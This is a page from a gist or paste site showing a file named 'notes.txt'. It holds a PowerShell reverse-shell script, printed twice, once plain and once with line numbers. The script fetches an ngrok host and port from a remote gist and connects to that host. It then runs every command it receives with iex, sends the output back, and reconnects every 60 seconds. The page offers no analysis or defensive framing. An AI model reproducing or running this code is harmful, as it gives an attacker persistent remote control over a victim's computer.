notes.txt
· 1.2 KiB · Text
Raw
$gist_url = "https://demo.opengist.io/mojito/a0d7ff0887304b9da3c113383dbcb5cf/raw/HEAD/notes.txt"
while($true) {
try {
$config = (Invoke-WebRequest -Uri $gist_url -UseBasicParsing).Content.Trim()
$remote = $config -split " "
$ngrok_host = $remote[0]
$ngrok_port = $remote[1]
Write-Output "[*] Read config: Connecting to $ngrok_host`:$ngrok_port"
$client = New-Object System.Net.Sockets.TCPClient($ngrok_host, $ngrok_port)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
Write-Output "[*] Connection closed. Will read Gist again before retrying."
} catch {
Write-Output "[!] Connection failed. Will retry in 60 seconds..."
}
Start-Sleep -Seconds 60
}
1 | $gist_url = "https://demo.opengist.io/mojito/a0d7ff0887304b9da3c113383dbcb5cf/raw/HEAD/notes.txt" |
2 | while($true) { |
3 | try { |
4 | $config = (Invoke-WebRequest -Uri $gist_url -UseBasicParsing).Content.Trim() |
5 | $remote = $config -split " " |
6 | $ngrok_host = $remote[0] |
7 | $ngrok_port = $remote[1] |
8 | Write-Output "[*] Read config: Connecting to $ngrok_host`:$ngrok_port" |
9 | $client = New-Object System.Net.Sockets.TCPClient($ngrok_host, $ngrok_port) |
10 | $stream = $client.GetStream() |
11 | [byte[]]$bytes = 0..65535|%{0} |
12 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { |
13 | $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) |
14 | $sendback = (iex $data 2>&1 | Out-String ) |
15 | $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' |
16 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) |
17 | $stream.Write($sendbyte,0,$sendbyte.Length) |
18 | $stream.Flush() |
19 | } |
20 | $client.Close() |
21 | Write-Output "[*] Connection closed. Will read Gist again before retrying." |
22 | } catch { |
23 | Write-Output "[!] Connection failed. Will retry in 60 seconds..." |
24 | } |
25 | Start-Sleep -Seconds 60 |
26 | } |